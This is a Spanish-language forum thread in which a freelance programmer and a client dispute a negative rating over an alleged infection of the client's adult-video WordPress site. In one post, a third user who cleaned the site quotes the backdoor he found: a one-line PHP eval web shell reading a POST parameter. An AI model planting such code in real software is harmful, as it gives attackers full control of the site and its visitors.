Calificación negativa de tnc05

  • Autor Autor kanikase
  • Fecha de inicio Fecha de inicio
Estado

🔒 Este tema está cerrado para nuevas respuestas.

⏰ Solo el creador del tema puede solicitar la reapertura de sus propios temas, pero únicamente dentro de los 60 días previos a la última actualización.

kanikase

kanikase

Préstamo
Ómicron
Programador
Verificación en dos pasos activada
Verificado por Whatsapp
¡Ha verificado su Paypal!
Retroalimentación: +314 / =1 / -3
Hola a todos.

Abro esta aclaración para que se me retire una calificación negativa que me dio el user [MENTION=28762]tnc05[/MENTION], en la calificación dice que le infecté la web, pero en realidad no tengo ni idea de qué habla.

Hace unos días el publicó un tema buscando programador que le solucionara errores en un bot, lo contacté, hicimos negocio, tardé varios días para hacer lo que el user pidió, al final como no quedó conforme, porque traía algunos otros errores, me dijo que así estaba bien, pero que cada vez que el bot necesitara actualización de lo que yo había hecho, lo haría de forma gratuita.

Captura.webp

Hasta ahí todo bien, el problema viene cuando, luego de unos días (5 para ser exactos), me manda un mensaje diciéndome que le infecté la web, ni siquiera me dijo en qué forma estaba "infectada", pero la verdad es que después de terminar el trabajo, borré la cuenta FTP que me pasó para que solucionara los errores, el user no quiso arreglar nada, quería que yo, o le "desinfectara" la web, o si no me calificaría negativo, no acepté porque tengo varios trabajos pendientes, además él no me pagó para eso.

NzKrFag.png


La verdad creo que el tema será difícil, porque así como yo no tengo nada de pruebas de que no infecté la web, tampoco él tiene pruebas de que yo lo haya hecho, simplemente lo supone...

He trabajado así con muchísimos usuarios, que me dan acceso FTP y hago el trabajo, y nunca he hecho nada que no deba hacer, incluso tengo acceso FTP a la web yaske.cc, y si no "infecto" esta web con tanto tráfico y tan famosa, menos lo haría con la página de ese user.
 
Esperando respuesta de [MENTION=28762]tnc05[/MENTION]
 
Hay que esperar la respuesta de que tipo de infección habla [MENTION=28762]tnc05[/MENTION]

Ya que pudo haber sido por alguna nueva publicidad o algo por el estilo que el mismo pudo haber implementado.

Aun que puedo decir que cuando tienes acceso a una web, tienes mucha responsabilidad y bueno pueden pasar muchas cosas, desde tener archivos infectados en la PC y subirlos infectados a un server sin saberlo.
[MENTION=81006]kanikase[/MENTION] no se si [MENTION=28762]tnc05[/MENTION] te debía dinero por el tiempo de desarrollo y quiso eludirlo de esta forma, acusándote con una supuesta infección.

Por ejemplo en un caso personal: Un usuario me quiso acusar de haber borrado toda su web(A) :fatigue: y cuando le dije de que hablaba si el ftp que me había pasado solo tiene acceso a determinada web(B) y nada más.

Por tal de hacerme quedar mal y que le realizara un rembolso sobre un script, pero al final le realice un rembolso para evitarme este tipo de personas, pero eran claras sus intensiones de quedarse con el script sin pagar nada de nada $$$

[MENTION=28762]tnc05[/MENTION] Por que no esperaste que [MENTION=81006]kanikase[/MENTION] te resolviera la infección?
 
Hay que esperar la respuesta de que tipo de infección habla [MENTION=28762]tnc05[/MENTION]

Ya que pudo haber sido por alguna nueva publicidad o algo por el estilo que el mismo pudo haber implementado.

Aun que puedo decir que cuando tienes acceso a una web, tienes mucha responsabilidad y bueno pueden pasar muchas cosas, desde tener archivos infectados en la PC y subirlos infectados a un server sin saberlo.
[MENTION=81006]kanikase[/MENTION] no se si [MENTION=28762]tnc05[/MENTION] te debía dinero por el tiempo de desarrollo y quiso eludirlo de esta forma, acusándote con una supuesta infección.

Por ejemplo en un caso personal: Un usuario me quiso acusar de haber borrado toda su web(A) :fatigue: y cuando le dije de que hablaba si el ftp que me había pasado solo tiene acceso a determinada web(B) y nada más.

Por tal de hacerme quedar mal y que le realizara un rembolso sobre un script, pero al final le realice un rembolso para evitarme este tipo de personas, pero eran claras sus intensiones de quedarse con el script sin pagar nada de nada $$$
[MENTION=28762]tnc05[/MENTION] Por que no esperaste que [MENTION=81006]kanikase[/MENTION] te resolviera la infección?

No me debía dinero.
No sé por qué piensa que yo le infecté la web. En el momento de terminar el script, el user dijo que ya estaba bien, y no me dijo nada de que su web estuviera infectada, hasta 5 días después 😕
 
Pues obvio con esa información que da nadie le va a ayudar, negativa mal puesta
 
No me debía dinero.
No sé por qué piensa que yo le infecté la web. En el momento de terminar el script, el user dijo que ya estaba bien, y no me dijo nada de que su web estuviera infectada, hasta 5 días después 😕

Bueno solo queda saber que dice [MENTION=28762]tnc05[/MENTION]

Cual fue su motivo para no haberlo platicado antes y ver si había una solución al problema.
 
hay que ver que dice tcn05 por ahora a favor de kanikase 😕
 
Más allá de la explicación que pueda dar el otro usuario involucrado, creo que la calificación está mal puesta ya que ni siquiera le aclara que tipo de infección tiene ni le da explicación alguna y califica negativamente sin más información.
Si luego de explicarle y darle motivos verídicos kanikase se hubiera hecho el desentendido es otro tema. Pero por lo que se ve hasta ahora eso no sucedió.
 
Altas posibilidades de que lo dijo [MENTION=41434]WWWW[/MENTION] haya pasado realmente, a favor de [MENTION=81006]kanikase[/MENTION] a menos que se demuestre lo contrario.

Tienes que dar tu versión de los hechos [MENTION=28762]tnc05[/MENTION].
 
Hola a todos.. Creo que faltan muchas partes a este tema, por eso me voy a tomar el tiempo necesario para dar al menos lo que yo creo la explicación completa de este tema..

El día 27 de Mayo abro un topic para solicitar el servicio de un programador para arreglar un bot, el tema es el siguiente: http://forobeta.com/programadores/495010-programador-arreglar-bot.html

El día 28 de Mayo Kanikase me contacta y se ofrece, entonces lo agrego a Skype el día 29, le paso los datos del FTP y quedo a la espera de las novedades. Era sábado, me dijo que no trabaja los fines de semana pero que se iba a poner para ver si lo terminaba ese día o al siguiente. Por mi parte acepté y pasé a esperar.

El día 30 de Mayo, el trabajo tenía que estar entregado, contacto al usuario y me dice que para hacer el trabajo necesitaba un cable HDMI.

c1317fdd235b5a150bbb17a0f32f441f.webp

Como podrán ver, en ningún momento entré a desesperar, creo que lo entendí y le di un buen trato.

4 horas más tarde me dice que estaba arreglado, pero yo lo pruebo y no funcionaba.. Lo dejo seguir trabajando, esa misma noche, ya entre las 00hs y 1am de mi país me dice que está arreglado, lo veo y el bot mostraba los videos y procedo a pagarle, luego cuando lo testeo, veo que cada vez que publicaba un video me tumbaba la web..

Le comento el error, y el 31 de Mayo me dice que se va a poner a trabajar.. A la noche le paso otra vez datos FTP de otra web para que vuelva a probar, porque al arreglar el plugin se le había jodido el CSS.

Cuando le toca arreglarlo, llevo todo un día sin poder contactarlo, al final me dice que llevaba todo el día sin internet.. Otra vez volví a tener paciencia, entendiendo que era otra cosa que podía llegar a pasar y le otorgué otra prórroga.

1.webp

El 2 de Junio, cuando ya pensaba recibir el trabajo, lo contacto y me dice que ahora había nacido el sobrino y no podía terminarlo.. La pido nuevamente otro plazo porque la situación no daba para más pero no me responde.

2.webp

Como verán, tampoco lo traté mal ni lo amenacé con negativa, nada, siempre tratando de ser comprensivo.

El 4 de Junio me responde que no pudo entrar porque los datos FTP estaban mal.. Los pruebo, estaban bien... Se lo digo, ni tengo que pasárselos de nuevo, después pudo entrar... bueno, ya vamos como un cuarto tropezón.. En fin, sigo sosteniendo la situación pese a todo esto.

El 5 de Junio me dice que finalmente lo terminó, vuelvo a probar publicar un video y me vuelve a tumbar el sitio.

6 de Junio sin novedades y acá empiezan los problemas. Me desaparece del panel de wordpress la opción para instalar los plugins, para subir o editar themes, en fin, una desconfiguración general del panel de Wordpress y no me daba cuenta por dónde venía.

Se lo había comentado, antes de finalizar se lo comento:

3.webp

Vuelvo a comentárselo pero en ese momento no obtengo respuesta.

4.webp

Ya luego haciendo revisión general del bot, luego de una ardua lucha, pero que el usuario arregló la opción para publicar desde xvideos pero rompió la opción para publicar desde redtube.. Hasta acá se imaginan las ganas que tenía yo de seguir luchando y perdiendo tiempo, ya prefería terminar el negocio. Le digo que lo deje así roto y cuando actualice xvideos si me lo podía hacer sin cargo, hasta ahí fue la mejor opción que encontré y kanikase aceptó.

Acá se vino todo el problema, no se me ocurrió ver analytics antes, no veía nada raro en la web y era porque yo ingresaba poniendo la url en el navegador, era la única forma de la que no podías darte cuenta porque no te redireccionaba a ningún lado, todo perfecto... cuando veo analytics, veo que claramente algo pasaba... pruebo entrando desde Google y ahí si estaba, la bendita redirección.

Acá la captura de mi analytics que indicaba una bajada: https://gyazo.com/ff2f3fe2030810d3845ed8520fca20e4

Cuando me doy cuenta que ingresando desde Google a mi sitio te llevaba una bruta redirección es que decidí tomar cartas en el asunto en serio... Veo archivos totalmente infectados con fecha del 6 de Junio.. Le digo a Kanikase, como bien muestra en la captura, que lo que puede hacer es cooperar para desinfectarla, de mi lado no había dudas, algo había hecho.. Y su respuesta nunca fue ni un poco comprensiva como lo fui yo en toda esa lucha para que termine el trabajo, al contrario, fue "Pues la verdad no tengo ni idea de qué hablas"...

En fin, pasé a contratar un usuario del foro, lo cito [MENTION=29029]SoLuIts[/MENTION], para que me desinfecte la web y me indique un poco de qué iba todo el asunto... necesitaba un trabajo rápido, había pasado demasiado tiempo como para sufrir un daño permanente en el tráfico, obtener alguna acción manual o que mi sitio sea marcado como malicioso en Google y que el daño sea irreversible, al menos a corto plazo..

Ahora, digo yo, teniendo en cuenta todos los antecedentes, el trabajo violó todo tipo de plazos, por momentos luchando para contactarlo por el foro y skype, me deja un trabajo a medio hacer, arregló una cosa, rompió otra, cuando le comento de la infección su respuesta fue desentenderse... ¿qué esperaban qué hiciera? ¿Qué lo esperara un mes para que se fije qué había pasado? Lo siento señores, yo no estoy acá para perder el tiempo... creo que fui comprensivo hasta el final, intentando cerrar el negocio por más que me haya salido doblemente caro porque pagué, tardaron una eternidad, arreglaron una cosa, rompieron otra... hasta ahí incluso podía permitirlo como vieron y olvidarme de todo, pero de la infección no, eso no lo puedo dejar pasar.

La única persona con acceso fue kanikase, los archivos se modificaron el día que tuvo acceso. Fue la UNICA web infectada de las más de 70 que tengo en el servidor..

No tengo problemas en exponer los archivos infectados o información que tenga que ver con el asunto, me lo pueden pedir y lo publico.

Se me hizo extenso, pido disculpas, pero intentó ser lo más descriptivo posible para dejar en claro todo. Igualmente, sigo a disposición para seguir aclarando lo que haga falta.

Saludos.

Otro dato que me faltó agregar: Cuando él estaba trabajando, que se estropeó el panel de wordpress y yo me doy cuenta, fue porque al cambiar los archivos para inyectarme el ?php @eval se cambió la configuración para que yo pueda usar esas funciones... Quien quiera ver las pruebas y los archivos, como dije, es sólo pedirlas..

- - - Actualizado - - -

Hay que esperar la respuesta de que tipo de infección habla [MENTION=28762]tnc05[/MENTION]

Ya que pudo haber sido por alguna nueva publicidad o algo por el estilo que el mismo pudo haber implementado.

Aun que puedo decir que cuando tienes acceso a una web, tienes mucha responsabilidad y bueno pueden pasar muchas cosas, desde tener archivos infectados en la PC y subirlos infectados a un server sin saberlo.
[MENTION=81006]kanikase[/MENTION] no se si [MENTION=28762]tnc05[/MENTION] te debía dinero por el tiempo de desarrollo y quiso eludirlo de esta forma, acusándote con una supuesta infección.

Por ejemplo en un caso personal: Un usuario me quiso acusar de haber borrado toda su web(A) :fatigue: y cuando le dije de que hablaba si el ftp que me había pasado solo tiene acceso a determinada web(B) y nada más.

Por tal de hacerme quedar mal y que le realizara un rembolso sobre un script, pero al final le realice un rembolso para evitarme este tipo de personas, pero eran claras sus intensiones de quedarse con el script sin pagar nada de nada $$$

[MENTION=28762]tnc05[/MENTION] Por que no esperaste que [MENTION=81006]kanikase[/MENTION] te resolviera la infección?

Hola [MENTION=41434]WWWW[/MENTION], buenas noches. Acabo de hacer una respuesta tratando de aclarar la mayor cantidad de puntos posibles. Te pido que si tenés tiempo, que te puedas tomar unos minutos para leerla.
Antes que nada, aclaro que yo vivo de esto, por lo tanto, me lo tomo muy en serio, es mi trabajo y mi única fuente de ingresos, por lo tanto, lo cuido muchísimo.
Contraté un programador que se demoró muchísimo más de lo pactado, poniendo 4 excusas diferentes, las cuales a todas respondí muy amablemente. Si luego de pasado más de una semana, mi trabajo no está terminado y encima me infecta el sitio, ¿cuál sería mi posición? Si tardó más de una semana en arreglar eso para romper otra cosa, ¿cuánto se podría demorar para colaborar en desinfectarlo o verlo? Si ves la captura de Skype, cuando yo ya con poca paciencia le digo que me infectó el sitio, su respuesta fue desentenderse: "Pues la verdad no tengo idea de qué hablas". Creo que lo comprendí por demás 4 veces, no lo iba a hacer una 5ta, más cuando estaba en juego mi trabajo, mis ingresos que uso para vivir. Él no respondió, bueno, tuve que buscar otra opción. Espero haber sido claro, no tengo problemas en seguir discutiendo este punto en particular.
 
Última edición:
Me toca dar mi parte en este asunto, yo desconozco si fue intencionalmente o por un descuido (grosero), lo que si sé es que yo reparé dicho sitio. El mismo tenia un EVAL que permitió hacerse del control del sitio web e infectar dicho sitio. El sitio no poseia nada nulleado ni estaba en un host compartido.
Por otra parte cuando un usuario me dice me has liado mi web, yo sin que me lo pida le solicito acceso para reparar dicho problema. Por lo que aqui no aconteció, ni se interesó dicho programador. El usuario ya lo dijo "yo no lo iba a desinfectar". Hago hincapié aqui porque es parte de brindar un servicio efectivo.


La infeccion se da el dia 6 de junio y se empieza a notar el dia 7 ya que comienza a bajar el trafico de escritorio. 3 dias despues se perdio el trafico organico de escritorio y al no obtener interés de parte del programador se solicita mi intervencion. Luego de revisar todo el sitio en cuestion comienzo a ver los archivos en cuestion infectados con dicha EVAL
Insertar CODE, HTML o PHP:
<?php @eval($_POST['page3']);?>
para los que no lo sepan dicho codigo permite hacerse con el control de todo un sitio.
Luego de unas horas desinfecté dicho sitio web y brinde una copia en un txt de los archivos editados. Asi mismo se entrego a tnc05 la fecha en que se infectaron (6 de junio). Si uno brinda acceso a una persona y luego de terminar esa persona un sitio falla, ¿a quien van a responsabilizar?

Demás está decir que la negativa de [MENTION=28762]tnc05[/MENTION] corresponde y es 100% valida
 
Última edición:
Esa negativa bien puesta.
 
No tengo cable HDMI + no trabajo los findes + se me cortó el internet + me nació un pariente... sólo con las excusas presentadas la negativa está justificada. Si alguien no tiene tiempo para hacer un trabajo que no se ofrezca, así el cliente puede contratar a otra persona que si esté disponible.

Después, si el programador realmente provocó ésto:
ff2f3fe2030810d3845ed8520fca20e4.png


Además debería pensarse en alguna forma de compensación para el cliente, son decenas de miles de visitas perdidas 😕 Veamos qué dicen los que saben más de programación sobre la infección, no me queda claro ese punto.
 
Por como parece es un trabajo de mal desarrollo, y es que al final de cuentas es Jonay quien debe reparar estos errores en sus productos (los cuales no son nada baratos) para que no pasen estas cosas.

No se si lo hizo con intención kanikase, que yo he platicado con el por Skype y no creo que halla sido así, quizás sólo fue por realizar un trabajo para el cual no tenga el nivel suficiente de habilidad para esto, no estoy etiquetando que se eso, sólo supongo.

Hasta el momento me parece justa la negativa.
 
Yo no se de programación, [MENTION=29029]SoLuIts[/MENTION] ya explico sobre ese código y se puede comprenderse, sin embargo que prueba tienen de que ese código no existía antes o de que fue puesto por otra persona, como bien dijo [MENTION=81006]kanikase[/MENTION], puede ser solo una sospecha de [MENTION=28762]tnc05[/MENTION]

Ahora sobre los retrasos eso en parte tiene también la culpa quien acepta esos retrasos, si a mi no me gustan los retrasos pongo limites y si no se cumplen, mejor retirar el trabajo a quien lo este haciendo, porque esta incumpliendo en tiempos, así que eso pasa igual a ser responsabilidad de tnc05, por tolerar y no es razón para una negativa.

Ahora las pruebas que dan hasta ahora no señalan necesariamente a Kanikase como el autor de dicho problema y si la web tuvo caídas, parte de la baja de visitas bien pudo ser esa razón también. tnc05 reclama el día 6 según leí en su respuesta, sin embargo la baja sustancial de visitas ocurre incluso días después, cuando ya SoLuIts había entrado a dicha web, no lo señalo como responsable si no que esto si es prueba de que estos sucesos solo son sospechas y no pruebas.

Tener sospechas no es una razón para negativa.

Ademas que según conozco algunos trabajos de Kanikase el ha trabajado ya varias veces con scripts y hasta ahora veo una queja sobre eso, eso lo respalda como buen trabajador y que no altera los sitios de sus clientes, si no este no seria el único caso y hasta donde se, este es el unico caso donde alguien lo señala de manipular inapropiadamente un sitio web.

Los sitios web porno, constantemente son de interes para hackers y otros que buscan introducir virus para beneficiarse economicamente.
 
Última edición:
Yo no se de programación, Enlace eliminado ya explico sobre ese código y se puede comprenderse, sin embargo que prueba tienen de que ese código no existía antes o de que fue puesto por otra persona, como bien dijo kanikase, puede ser solo una sospecha de tnc05

Ahora sobre los retrasos eso en parte tiene también la culpa quien acepta esos retrasos, si a mi no me gustan los retrasos pongo limites y si no se cumplen, mejor retirar el trabajo a quien lo este haciendo, porque esta incumpliendo en tiempos, así que eso pasa igual a ser responsabilidad de tnc05, por tolerar y no es razón para una negativa.

Ahora las pruebas que dan hasta ahora no señalan necesariamente a Kanikase como el autor de dicho problema y si la web tuvo caídas, parte de la baja de visitas bien pudo ser esa razón también. tnc05 reclama el día 6 según leí en su respuesta, sin embargo la baja sustancial de visitas ocurre incluso días después, cuando ya SoLuIts había entrado a dicha web, no lo señalo como responsable si no que esto si es prueba de que estos sucesos solo son sospechas y no pruebas.

Tener sospechas no es una razón para negativa.

Ademas que según conozco algunos trabajos de Kanikase el ha trabajado ya varias veces con scripts y hasta ahora veo una queja sobre eso, eso lo respalda como buen trabajador y que no altera los sitios de sus clientes, si no este no seria el único caso y hasta donde se, este es el unico caso donde alguien lo señala de manipular inapropiadamente un sitio web.

Los sitios web porno, constantemente son de interes para hackers y otros que buscan introducir virus para beneficiarse economicamente.
Creo que no leiste lo que publiqué yo.

La infeccion se da el dia 6 de junio y se empieza a notar el dia 7 ya que comienza a bajar el trafico de escritorio. 3 dias despues (dia 10) se perdio el trafico organico de escritorio y al no obtener interés de parte del programador se solicita mi intervencion
Como se lo dije a tnc05 pudo ser de forma deliberada o bien de forma descuidada (como programador no te pueden pasar) y mucho menos no hacerse cargo. El dia 6 de junio se editaron los archivos infectados en cuestion y en los backups que tenia en su poder el usuario esos codigos no existian.

Sería valida la manipulacion si hubiera pasado en los otros 50 sitios que comparten servidor, pero fué unicamente en este.
 
Negativa bien puesta, lo siento por kanikase, pero el trabajo que desarrollo fue ineficiente desde el primer momento.
 
[MENTION=28762]tnc05[/MENTION] Tienes razón respecto la perdida de tiempo, como ha dicho [MENTION=1036]Cartucho[/MENTION] si no tienes tiempo para realizar el trabajo, dejarlo claro desde un principio y mejor no realizar el trabajo.

Yo también estaría molesto con la persona que al final me haga perder mi tiempo.

Pero bueno lo que noto es que tu aceptaste estas excusas y le diste más tiempo, entonces es tu culpa ya que aceptaste las condiciones que se iban presentando, hasta punto donde ya se podían ver videos desde determinado proveedor.
(Esto para mi no justifica una negativa, si la otra parte opta por dar más prorrogas)

Pero el problema surge con la bajada de visitas y el re-direccionamiento desde Google.

Cosa que dudo que [MENTION=81006]kanikase[/MENTION] hubiera realizado con intensión.

Pero como dije en el comentario #3: cuando tienes acceso a una web, tienes mucha responsabilidad

Y como ha dicho [MENTION=29029]SoLuIts[/MENTION]

Si uno brinda acceso a una persona y luego de terminar esa persona un sitio falla, ¿a quien van a responsabilizar?


Es evidente que el código estaba implantado en la web y la misma función no es recomendable utilizarla ya que es altamente venerable, entonces que hacia ahí ese código?

Me surge una duda:

A donde redireccionaba la web desde Google?
 
Última edición:
Yo no se de programación, [MENTION=29029]SoLuIts[/MENTION] ya explico sobre ese código y se puede comprenderse, sin embargo que prueba tienen de que ese código no existía antes o de que fue puesto por otra persona, como bien dijo [MENTION=81006]kanikase[/MENTION], puede ser solo una sospecha de [MENTION=28762]tnc05[/MENTION]

Ahora sobre los retrasos eso en parte tiene también la culpa quien acepta esos retrasos, si a mi no me gustan los retrasos pongo limites y si no se cumplen, mejor retirar el trabajo a quien lo este haciendo, porque esta incumpliendo en tiempos, así que eso pasa igual a ser responsabilidad de tnc05, por tolerar y no es razón para una negativa.

Ahora las pruebas que dan hasta ahora no señalan necesariamente a Kanikase como el autor de dicho problema y si la web tuvo caídas, parte de la baja de visitas bien pudo ser esa razón también. tnc05 reclama el día 6 según leí en su respuesta, sin embargo la baja sustancial de visitas ocurre incluso días después, cuando ya SoLuIts había entrado a dicha web, no lo señalo como responsable si no que esto si es prueba de que estos sucesos solo son sospechas y no pruebas.

Tener sospechas no es una razón para negativa.

Ademas que según conozco algunos trabajos de Kanikase el ha trabajado ya varias veces con scripts y hasta ahora veo una queja sobre eso, eso lo respalda como buen trabajador y que no altera los sitios de sus clientes, si no este no seria el único caso y hasta donde se, este es el unico caso donde alguien lo señala de manipular inapropiadamente un sitio web.

Los sitios web porno, constantemente son de interes para hackers y otros que buscan introducir virus para beneficiarse economicamente.


Hola, buenas noches. Antes que nada, quiero aclarar que yo nunca acepté esos aplazos, nunca dije que lo aceptemos, yo pedí fijar nuevamente un plazo y no obtuve respuesta. Se aplazó muchos días porque Kanikase no lo resolvía, entremedio poniendo 4 excusas diferentes que dejé claras y con pruebas en mi comentario anterior. Por lo tanto, es errónea tu postura.
Por otro lado, no sé hace cuánto estás en Forobeta, pero si lees las reglas, el hecho de incumplir con lo pactado en un negocio, sea la calidad, sea lo pactado, sean los plazos, etc, es motivo de calificación negativa. Si yo te contrato por A, vos me resolvés la mitad de A, me rompés B y me dejás mal C, entonces también es motivo para negativa, yo te contraté por una cosa y terminaron pasando otras. Por lo tanto, eso también es erróneo.

Si mientras yo estaba hablando con él, se daña por ejemplo las funciones para subir, desactivar y/o cambiar themes y se lo digo en el momento en que él estaba trabajando, no yo, no otra persona, ¿quién estuvo tocando?.. Seamos honestos, no creo que un fantasma... Yo no sé si fue intencionado o sin querer, pero eso sucedió y tengo la captura de que se lo dije en ese momento en Skype

El día 6 se finaliza a las 23hs de mi país (ese día fue el que se introdujo dicho virus, lo demostraban los horarios de los archivos también).. Por lo que es IMPOSIBLE notar la bajada de visitas a esa hora, ese mismo día... el día 7 le digo a Kanikase que no estaba resulto y siguió trabajando y el día 8 ya comienza la caída... Por lo que yo considero, que ese argumento tuyo también es erróneo..

Por último, si es por tema de reputación, yo también tengo prácticamente las mismas calificaciones que él, por lo que no equivaldría a ser utilizado como argumento, siendo que ante los ojos del itrader, estamos casi iguales.. Me parece inválido este argumento, siendo que conmigo tampoco han tenido problemas y lo demuestra el hecho de que tengo 0 calificaciones negativas.
 
kanikase, es un usuario muy respetable...
 
Estado

🔒 Este tema está cerrado para nuevas respuestas.

⏰ Solo el creador del tema puede solicitar la reapertura de sus propios temas, pero únicamente dentro de los 60 días previos a la última actualización.

Atrás
Arriba